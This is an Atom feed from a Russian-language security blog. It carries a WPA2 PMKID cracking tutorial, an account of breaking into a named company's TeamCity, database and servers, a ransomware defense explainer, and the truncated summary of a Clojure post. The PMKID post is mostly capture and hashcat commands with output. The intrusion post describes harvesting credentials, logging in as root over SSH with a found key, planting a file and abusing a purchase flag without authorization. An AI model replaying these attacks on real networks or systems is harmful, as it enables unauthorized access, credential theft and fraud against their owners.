<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>D4ffy Duck</title><author><name>D4ffy Duck</name></author><id>https://teletype.in/atom/d4ffyduckone</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/d4ffyduckone?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/d4ffyduckone?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-24T01:24:56.668Z</updated><entry><id>d4ffyduckone:ByVg3KKPQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/ByVg3KKPQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Новая техника атаки WPA2, не требующая наличия клиента на AP</title><published>2018-09-02T16:12:27.556Z</published><updated>2018-09-02T16:12:27.556Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/14/14257434-9470-4a34-930a-58cecd47ec43.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/3658ba204880cd9fe8719.png&quot;&gt;В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.</summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/3658ba204880cd9fe8719.png&quot; width=&quot;970&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.&lt;/p&gt;
  &lt;p&gt;Основные особенности новой атаки:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;нет необходимости ждать клиентов — атакуется напрямую AP;&lt;/li&gt;
    &lt;li&gt;нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;&lt;/li&gt;
    &lt;li&gt;отсутствие ретрансмиссии кадров EAPOL;&lt;/li&gt;
    &lt;li&gt;исключает вероятность захвата неверных паролей от клиента;&lt;/li&gt;
    &lt;li&gt;исключены потери кадров EAPOL при отдалении/потери связи с клиентом;&lt;/li&gt;
    &lt;li&gt;высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;&lt;/li&gt;
    &lt;li&gt;нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Детали атаки&lt;/p&gt;
  &lt;p&gt;RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://habrastorage.org/getpro/habr/post_images/e4a/cd6/610/e4acd66106209d985edd6621eacc6961.png&quot; width=&quot;630&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.&lt;/p&gt;
  &lt;pre&gt;PMKID = HMAC-SHA1-128(PMK, &amp;quot;PMK Name&amp;quot; | MAC_AP | MAC_STA)
&lt;/pre&gt;
  &lt;p&gt;Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.&lt;/p&gt;
  &lt;p&gt;Для атаки потребуются следующие инструменты (актуальные версии):&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/ZerBea/hcxdumptool&quot; target=&quot;_blank&quot;&gt;hcxdumptool&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/ZerBea/hcxtools&quot; target=&quot;_blank&quot;&gt;hcxtools&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://github.com/hashcat/hashcat&quot; target=&quot;_blank&quot;&gt;hashcat&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Запускаем hcxdumptool для &amp;quot;снятия&amp;quot; PMKID:&lt;/p&gt;
  &lt;pre&gt;$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
&lt;/pre&gt;
  &lt;pre&gt;start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
&lt;/pre&gt;
  &lt;p&gt;Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:&lt;/p&gt;
  &lt;pre&gt;[13:29:57 - 011] 89acf0e761f4 -&amp;gt; 4604ba734d4e &amp;lt;ESSID&amp;gt; [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -&amp;gt; 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -&amp;gt; 89acf0e761f4 [FOUND PMKID]
&lt;/pre&gt;
  &lt;p&gt;После чего необходимо сконвертировать полученные данные:&lt;/p&gt;
  &lt;pre&gt;$ ./hcxpcaptool -z test.16800 test.pcapng
&lt;/pre&gt;
  &lt;pre&gt;start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800
&lt;/pre&gt;
  &lt;p&gt;которые после конвертации примут следующий вид:&lt;/p&gt;
  &lt;pre&gt;2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a
&lt;/pre&gt;
  &lt;p&gt;представляющие из себя hex-значения следующих типов данных:&lt;/p&gt;
  &lt;pre&gt;PMKID*MAC AP*MAC Station*ESSID
&lt;/pre&gt;
  &lt;p&gt;Далее остается &amp;quot;скормить&amp;quot; полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:&lt;/p&gt;
  &lt;pre&gt;$ ./hashcat -m 16800 test.16800 -a 3 -w 3 &amp;#x27;?l?l?l?l?l?lt!&amp;#x27;
&lt;/pre&gt;
  &lt;p&gt;Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.&lt;/p&gt;
  &lt;p&gt;P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:Sy0hsFFD7</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/Sy0hsFFD7?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>🔑Root доступ через TeamCity</title><published>2018-09-02T16:11:34.049Z</published><updated>2018-09-02T16:11:34.049Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/71/71eb440b-e11a-412f-b6f6-352f065e278c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/25e71d129942c78a448b0.png&quot;&gt;GitHub оказался под крупнейшей DDoS атакой, немного обсудили в общем рабочем чате вечерком. Оказалось, что мало кто знает о замечательных поисковиках shodan.io и censys.io.</summary><content type="html">
  &lt;p&gt;GitHub оказался под крупнейшей DDoS атакой, немного обсудили в общем рабочем чате вечерком. Оказалось, что мало кто знает о замечательных поисковиках shodan.io и censys.io.&lt;/p&gt;
  &lt;p&gt;Ну и я интересу ради, прям для вау эффекта поискал &lt;a href=&quot;https://www.jetbrains.com/teamcity/&quot; target=&quot;_blank&quot;&gt;TeamCity&lt;/a&gt; (далее тс), т.к. помню &lt;a href=&quot;https://xakep.ru/2016/04/19/teamcity-registration-hack/&quot; target=&quot;_blank&quot;&gt;прикольный баг с регой&lt;/a&gt; в старых версиях (был исправлен в версии 9.0.2 от января 2015 года).&lt;/p&gt;
  &lt;p&gt;Как оказалось, его даже не нужно было применять, т.к. во многих тс админы не закрывали регистрацию, а на некоторых доступен был вход под гостем.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/25e71d129942c78a448b0.png&quot; width=&quot;1243&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Взял самый первый попавшийся IP и двинул на их тс.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/224956c67d7eaaf8e51f0.png&quot; width=&quot;637&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Ура, есть рега обыкновенная, и как правило, у неё прав больше, чем у гостя, см. сравнение ниже&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/c9d56c92d60b877382ae7.png&quot; width=&quot;1027&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/837cff7e0ddf64490986d.png&quot; width=&quot;975&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;В параметрах явно были прописаны некоторые доступы&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/b833adae70348e69af425.png&quot; width=&quot;773&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Но логины пароли также и в другом месте есть — в конфигах артефактов:&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/1820103de03f5e8eb5c35.png&quot; width=&quot;641&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/e0ff1ecc9dbc84949339a.png&quot; width=&quot;1637&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Судя по названиям БД ничего интересного быть там не может, но всё же решил попробовать.&lt;/p&gt;
  &lt;p&gt;Легковесный и быстрый клиент для монги под винду — &lt;a href=&quot;https://robomongo.org/&quot; target=&quot;_blank&quot;&gt;robomongo.org&lt;/a&gt;&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6c580e5d29e9e756f13b3.png&quot; width=&quot;1025&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Сильно шариться по БД не стал, т.к. слово analytics навевает скуку.&lt;/p&gt;
  &lt;p&gt;В TFS сходить не удалось, определённо логин не вебовский, курить апи тоже скучно, ибо не самый интересный проект, но для демонстрации достаточно).&lt;/p&gt;
  &lt;p&gt;Почта разрабов добыта там же — отписался, ответа нет.&lt;/p&gt;
  &lt;p&gt;Если артефакты не были доступны — всегда можно посмотреть change log:&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/3b639175eaf9733c22d35.png&quot; width=&quot;585&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/3fc58973d99acd2ccdcca.png&quot; width=&quot;523&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Удивляют проекты, где пароли — простые слова, тут хоть префикс есть.&lt;/p&gt;
  &lt;p&gt;Помню однажды попался пасс — &lt;em&gt;осмотрись&lt;/em&gt;, прям забавно.&lt;/p&gt;
  &lt;p&gt;Также, определённая категория людей, предпочитает хранить прямо в коде всякие настройки:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/af0ad928b5698d3c51756.png&quot; width=&quot;788&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Перехожу к самому интересному — есть проект &lt;a href=&quot;http://www.triplay.com/&quot; target=&quot;_blank&quot;&gt;triplay.com&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Их продукты: emusic.com, estories.com, mydigipack.com, mymusiccloud.com и ещё какие-то. Установок приложения андроид &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.emusic.android&amp;hl=ru&quot; target=&quot;_blank&quot;&gt;1000000+&lt;/a&gt;, эпловое — не понял где там количество скачиваний смотреть.&lt;/p&gt;
  &lt;p&gt;Ну и конечно же — их тимсити был открыт снаружи, + открыта рега:&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/7c2e0c3fad9d2322605ab.png&quot; width=&quot;611&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;120 сборок, но артефакты были далеко не везде, вероятно для экономии места. Зато имеется Common проект, где все артифакты собираются вместе, но серверные вполне себе велись и этого было достаточно:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/003c532ec2faa4a716834.png&quot; width=&quot;820&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Отлично, качаем файл и… я прям не удивлён:&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/619f8a2333e6a1297d807.png&quot; width=&quot;1014&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/2790d6fcc98bc3aea4256.png&quot; width=&quot;744&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Пришлось поставить яву и проверить коннект к ораклу (оракл для простого сайтика в проде, ааа, блин, ну почему не postgres):&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/5799f95d9c588d0ea6554.png&quot; width=&quot;1346&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Конечно же, несмотря на то, что в конфигах был указан везде префикс prod — без явной проверки этого нельзя было сказать наверняка):&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6f5ec5ebaea93f61c7f36.png&quot; width=&quot;975&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Ну и конечно, я сам зарегал почту, с которой им отписал о проблеме (только я показал скрины, а не сценарий, т.к. не хотел, чтобы чел из саппорта получил доступ к бд, где 691к аккаунтов, выкачал всё это дома и… я хз, что мог бы сделать. Сценарий немного надуман, но лучше попросить контакт админа/разраба).&lt;/p&gt;
  &lt;p&gt;В теории, полный доступ к бд и можно смело заменять чей-нибудь хеш/соль пасса своими и входить под ним.&lt;/p&gt;
  &lt;p&gt;Но я лишь почитал данные и успокоился на этом, отписавшись в офф. сапорт, на что мне ответили, что всё рассмотрят, переведут на специалиста, который ответит в порядке очереди и… молчание&lt;/p&gt;
  &lt;p&gt;Спустя несколько дней они закрыли доступ к БД, но не к тс, проверил почту — ни вопросов, ни благодарностей.&lt;/p&gt;
  &lt;p&gt;Ну ок, полез проверять дальше и… в артефактах нашёл проект, который содержит деплой скрипты, словно он в тс попадает откуда-то из вне и после сам запускает билд.&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/fd63006017088283c41ac.png&quot; width=&quot;355&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/e3b50380bb63c3d22e5f4.png&quot; width=&quot;1098&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Так и было, + ещё логин/пасс от тс.&lt;/p&gt;
  &lt;p&gt;Сложно было поверить в это, ну ок, телнет 22 пашет, пробую ссш, но погоди, какой же логин…&lt;/p&gt;
  &lt;pre&gt;wu la
ssh -p 22 -i triplay-deployer-priv root@build.triplay-inc.com
&lt;/pre&gt;
  &lt;p&gt;Немного удивился наличию доступа, ок. Осмотрелся в консоли, посмотрел хосты (35 машин прописано) и какие-то ключики (я с никсами не оч, доступ рут и без того ясно, что даст сделать всё, что хочешь, было бы желание).&lt;/p&gt;
  &lt;p&gt;Нашёл тестовый доменчик + конкретную машину (и… кажется ssl серт).&lt;/p&gt;
  &lt;figure class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/9c136bc6287a0bebf9c09.png&quot; width=&quot;796&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Выше скрин, кстати, когда я с одного сервера хожу на другой, ибо тот из вне по ssh не был доступен. И таких машин там было, конечно же, дофига, сами представьте, какая там инфраструктура.&lt;/p&gt;
  &lt;p&gt;И положил файлик с особым приветом (с ошибками, уж сорри, уже спать хотелось).&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/1f4e6a41549337ab163ad.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;После очередного письма они прикрыли лавочку.&lt;/p&gt;
  &lt;p&gt;Но не тут то было, у ребят оставался тестовый аккаунт. Я вошёл под ним. Оказалось можно получить трек бесплатно… ну я на всякий F12 и… что я вижу в пейлоаде:&lt;/p&gt;
  &lt;pre&gt;{
 &amp;quot;trackId&amp;quot;: 1559229346,
 &amp;quot;quality&amp;quot;: &amp;quot;SD&amp;quot;,
 &amp;quot;dailyDownloadPurchase&amp;quot;: false,
 &amp;quot;freeTrackPurchase&amp;quot;: true
}
&lt;/pre&gt;
  &lt;p&gt;Нет, это не первоапрельская шутка — получить трек бесплатно или купить — решается на фронтенде флагом freeTrackPurchase:&lt;/p&gt;
  &lt;p&gt;А вот теперь нюанс — работает, видимо, не для всех аккаунтов, а для конкретно тестового)), но имея доступ к нему, можно «купить» все треки. Да и один фиг, они все доступны без авторизации (есть спец урла, инфо из БД, проверено).&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Какие ошибки парни совершили:&lt;/strong&gt;&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;Весьма внутренние ресурсы были открыты всему свету (БД, TeamCity, SSH)&lt;/li&gt;
    &lt;li&gt;Даже если есть такая необходимость — не сделали вайтлиста для подключений&lt;/li&gt;
    &lt;li&gt;Коннект под рутом извне… чет так себе идея&lt;/li&gt;
    &lt;li&gt;Тем более, в проект добавлять сертификат для этого от рута!&lt;/li&gt;
    &lt;li&gt;Все доступы и ключики хранят в… файлах и размножают по проектам (aws, paypal, и т.п., шаблон &lt;a href=&quot;https://gist.github.com/SanSYS/36473100ea350281ec13af8f1d431186&quot; target=&quot;_blank&quot;&gt;положил сюда&lt;/a&gt;), вместо того, чтобы хранить одно подключение к сервису конфигураций&lt;/li&gt;
    &lt;li&gt;А самое главное — была разрешена рега в TeamCity, собственно с чего всё началось&lt;/li&gt;
    &lt;li&gt;Ну и до кучи — там же собирались приложения для google/apple сторов и соответствующие серты и исходники были на месте&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;Потому — если у вас имеются какие-либо продукты, которые доступны из вне — подумайте, как их можно использовать не по назначению сторонними людьми и предотвратите это.&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:rkslsKtwQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/rkslsKtwQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Как работают вирусы шифровальщики и как от них защититься</title><published>2018-09-02T16:08:19.083Z</published><updated>2018-09-02T16:08:19.083Z</updated><summary type="html">Главная цель злоумышленников заставить пользователя любым способом скачать файл с вирусом и запустить его.  В этом вымогатели могут проявлять всю свою фантазию.</summary><content type="html">
  &lt;h3&gt;Как происходит заражение&lt;/h3&gt;
  &lt;p&gt;Главная цель злоумышленников заставить пользователя любым способом скачать файл с вирусом и запустить его.  В этом вымогатели могут проявлять всю свою фантазию.&lt;/p&gt;
  &lt;p&gt;Зачастую они устраивают массовую рассылку писем в организации. В теме сообщения указывается «&lt;em&gt;резюме»&lt;/em&gt;, «&lt;em&gt;исковое требование»&lt;/em&gt;, «&lt;em&gt;договор поставки»&lt;/em&gt;, «&lt;em&gt;акт сверки-взаиморасчётов»&lt;/em&gt;, т. е. самые обычные письма, которые ежедневно проходят десятками в любой организации. Стоит ли говорить, что, например, сотрудник отдела кадров, зачастую не самый продвинутый пользователь, с большой вероятностью скачает прикрепленный файлик «резюме» и откроет его.&lt;/p&gt;
  &lt;p&gt;Другой способ распространения вируса — это запуск скачанной с интернета программы. Только вместо установки программы пользователь получает зашифрованные файлы. Забавно, вроде бы все на месте, но в таком виде они абсолютно бесполезны.&lt;/p&gt;
  &lt;blockquote&gt;&lt;strong&gt;Более чем в 90% случаев пользователи запускают шифровальщики своими руками.&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;blockquote&gt;&lt;strong&gt;Более половины всех случаев шифрования приходится на вирус Trojan.Encoder и сотни вариантов его модификаций.&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;h3&gt;Как происходит шифрование&lt;/h3&gt;
  &lt;p&gt;Принцип работы шифровальщиков очень прост, вирус, запущенный на компьютере жертвы шифрует файлы и удаляет теневые копии файлов, таким образом делая невозможным восстановление предыдущих версий файлов. Шифруются все файлы со стандартными расширениями .jpg, .png, .doc, .xls, .dbf и т.д. Другими словами, шифруются картинки, документы, таблицы, файлы баз данных и другие стандартные файлы, которые как раз и представляют весь интерес для пользователя.&lt;/p&gt;
  &lt;p&gt;После шифрования на рабочем столе или в каждой папке с зашифрованными файлами создается текстовый файл (например, READ_ME!!!!!!.TXT) с предупреждением пользователя о том, что файлы были зашифрованы, а все попытки самостоятельно расшифровать файлы могут привести к безвозвратной потере данных, ну и, разумеется, контакты вымогателей и сумма которую необходимо заплатить для расшифровки.&lt;/p&gt;
  &lt;blockquote&gt;Современные экземпляры вирусов используют криптостойкие алгоритмы шифрования. Содержимое файлов шифруется с очень высокой скоростью, а ключ шифруется асимметричным алгоритмом. Это означает, что на подбор ключа для расшифровки могут потребоваться годы вычислений компьютера.&lt;/blockquote&gt;
  &lt;p&gt;Вот такую статистику расшифровки приводит компания «Доктор Веб» в 2016 году.&lt;/p&gt;
  &lt;p&gt;Троянец Альтернативные наименования Вероятность расшифровки BAT.Encoder Trojan.FileCrypt.C&lt;/p&gt;
  &lt;p&gt;BAT/Filecoder.B&lt;/p&gt;
  &lt;p&gt;Trojan-Ransom.BAT.Scatter.s 20-30% Trojan.Encoder.94 Trojan-Ransom.Win32.Xorist&lt;/p&gt;
  &lt;p&gt;Trojan:Win32/Bumat!rts&lt;/p&gt;
  &lt;p&gt;Win32/Filecoder.Q 90% Trojan.Encoder.293&lt;/p&gt;
  &lt;p&gt;90-100% Trojan.Encoder.398 Gen:Trojan.Heur.DP;&lt;/p&gt;
  &lt;p&gt;TR/Dldr.Delphi.Gen 58% Trojan.Encoder.556 Trojan-Ransom.Win32.Agent.iby,&lt;/p&gt;
  &lt;p&gt;Gen:Variant.Kates.2 3-5% Trojan.Encoder.741&lt;/p&gt;
  &lt;p&gt;21% Trojan.Encoder.567 Win32/Filecoder.CQ,&lt;/p&gt;
  &lt;p&gt;Gen:Trojan.Heur.OH3@tb9fsadcg 10-20% Trojan.Encoder.686 CTB-Locker Расшифровка на данный&lt;/p&gt;
  &lt;p&gt;момент невозможна Trojan.Encoder.858&lt;/p&gt;
  &lt;p&gt;Trojan.Encoder.2843(*.vault)&lt;/p&gt;
  &lt;p&gt;90% Trojan.Encoder.2667&lt;/p&gt;
  &lt;p&gt;59% Trojan.Encoder 3953&lt;/p&gt;
  &lt;p&gt;80% Linux.Encoder.1, Linux.Encoder.2, Linux.Encoder.3&lt;/p&gt;
  &lt;p&gt;100% Mac.Trojan.KeRanger.2&lt;/p&gt;
  &lt;blockquote&gt;100% &lt;strong&gt;По статистике антивирусных компаний удается подобрать ключ лишь в 10% случаев.&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;p&gt;Все это приводит к тому, что в большинстве случаев зашифрованные данные будут безвозвратно потеряны. Конечно, всегда можно попробовать заплатить злоумышленникам, но нет никаких гарантий.&lt;/p&gt;
  &lt;p&gt;Встречаются случаи когда восстановить файлы просто невозможно, даже если вы заплатите некоторую сумму вымогателям. Это происходит в том случае, если вирус шифровальщик просто выбрасывает ключ шифрования, а не передает его для хранения на сервер. К слову, вымогатели от этого совсем не расстраиваются, они то исправно получают свои деньги.&lt;/p&gt;
  &lt;h3&gt;Что делать если вирус зашифровал файлы?&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Не пытайтесь переименовывать файлы и расширения. &lt;/strong&gt;Это может привести к невозможности его расшифровать в дальнейшем. Если хочется поэкспериментировать то можно сделать копию зашифрованного файла и работать с ней.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Попытаться восстановить файлы из теневых копий. &lt;/strong&gt;Если совсем кратко, то это восстановление предыдущих версий файлов и папок. Для этого в вашей системе должна быть включена функция защиты системы и созданы точки восстановления. Об этом можно написать отдельную статью, и если вам это интересно напишите в комментариях.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Обратиться к антивирусным компаниям. &lt;/strong&gt;Ведущие антивирусные компании предоставляют программы дешифраторы. Например, можно попробовать XoristDecryptor и RectorDecryptor от Лаборатории Касперского.&lt;/p&gt;
  &lt;p&gt;Утилиты постоянно обновляются, включая все больше алгоритмов для расшифровки. Вообще, вероятность получить исходный файл, достаточно низкая, но попробовать нужно.&lt;/p&gt;
  &lt;p&gt;Кроме того, можно попробовать связаться с поддержкой антивирусной компании, сообщить им о шифровальщике и выслать им образец зашифрованного файла. Можно точно обратиться в Лабораторию Касперского и компанию Dr.Web, при условии что у вас есть лицензия их продукта. Специалисты попробуют расшифровать файл, и в случае успеха вышлют вам утилиту для расшифровки остальных файлов. Все это может занять очень длительное время, но вариантов то не так много.&lt;/p&gt;
  &lt;h3&gt;Как защититься от шифровальщиков&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;Сохраняйте резервные копии ваших данных на внешний накопитель.&lt;/li&gt;
    &lt;li&gt;Используйте антивирусные средства и не забывайте обновлять антивирусные базы. Как бы просто это не звучало, но это действительно может избавить вас от лишних проблем.&lt;/li&gt;
    &lt;li&gt;Ограничьте запуск некоторых потенциально опасных типов файлов. К примеру, с расширениями &lt;strong&gt;.js, .cmd, .bat, .vba, .ps1. &lt;/strong&gt;Для этого нужно выполнить команду — &lt;strong&gt;gpedit.msc&lt;/strong&gt;, далее перейти в раздел &lt;strong&gt;Конфигурация компьютера&lt;/strong&gt; — &lt;strong&gt;Конфигурация Windows&lt;/strong&gt; — &lt;strong&gt;Параметры безопасности&lt;/strong&gt; — &lt;strong&gt;Политики управления приложениями&lt;/strong&gt; — &lt;strong&gt;AppLocker&lt;/strong&gt; — &lt;strong&gt;Правила сценариев&lt;/strong&gt;, и с помощью мастера задать новое правило на запрет запуска всех сценариев для всех пользователей, например, на системном диске. Даже это простое действие может не раз спасти вас от неприятностей.&lt;/li&gt;
    &lt;li&gt;Будьте внимательны! Расскажите о вирусах шифровальщиках своим знакомым, чтобы они также не попадались на уловки мошенников. Все мы знаем, что предупрежден, значит вооружен!&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;В итоге, мы имеем серьезную угрозу для любого пользователя и довольно печальную статистику по расшифровке. Вирусы шифровальщики — это энигма нашего времени. Посмотрим, найдет ли кто-нибудь способ оставить мошенников без заработка.&lt;/p&gt;
  &lt;p&gt;Если информация была интересной и полезной — поделитесь этой статьей со своими друзьями в социальных сетях!&lt;/p&gt;

</content></entry><entry><id>d4ffyduckone:HkupqtFwQ</id><link rel="alternate" type="text/html" href="https://teletype.in/@d4ffyduckone/HkupqtFwQ?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=d4ffyduckone"></link><title>Полезная функциональщина. Грабим почту, трекеры задач и репозитории с Clojure</title><published>2018-09-02T16:07:27.795Z</published><updated>2018-09-02T16:07:27.795Z</updated><summary type="html">&lt;img src=&quot;https://tech-geek.ru/wp-content/uploads/clojure-tips-and-tricks-2.png&quot;&gt;Я — тимлид в одной из команд разработки Positive Technologies Application Firewall. В один прекрасный момент размер команды превысил критическое значение, когда можно делать руками всю свою рутинную работу, и я начал писать автоматизированную систему, которая умела бы взаимодействовать с почтой, трекерами задач и системами контроля версий. Я назвал ее «автоматический тимлид».</summary><content type="html">
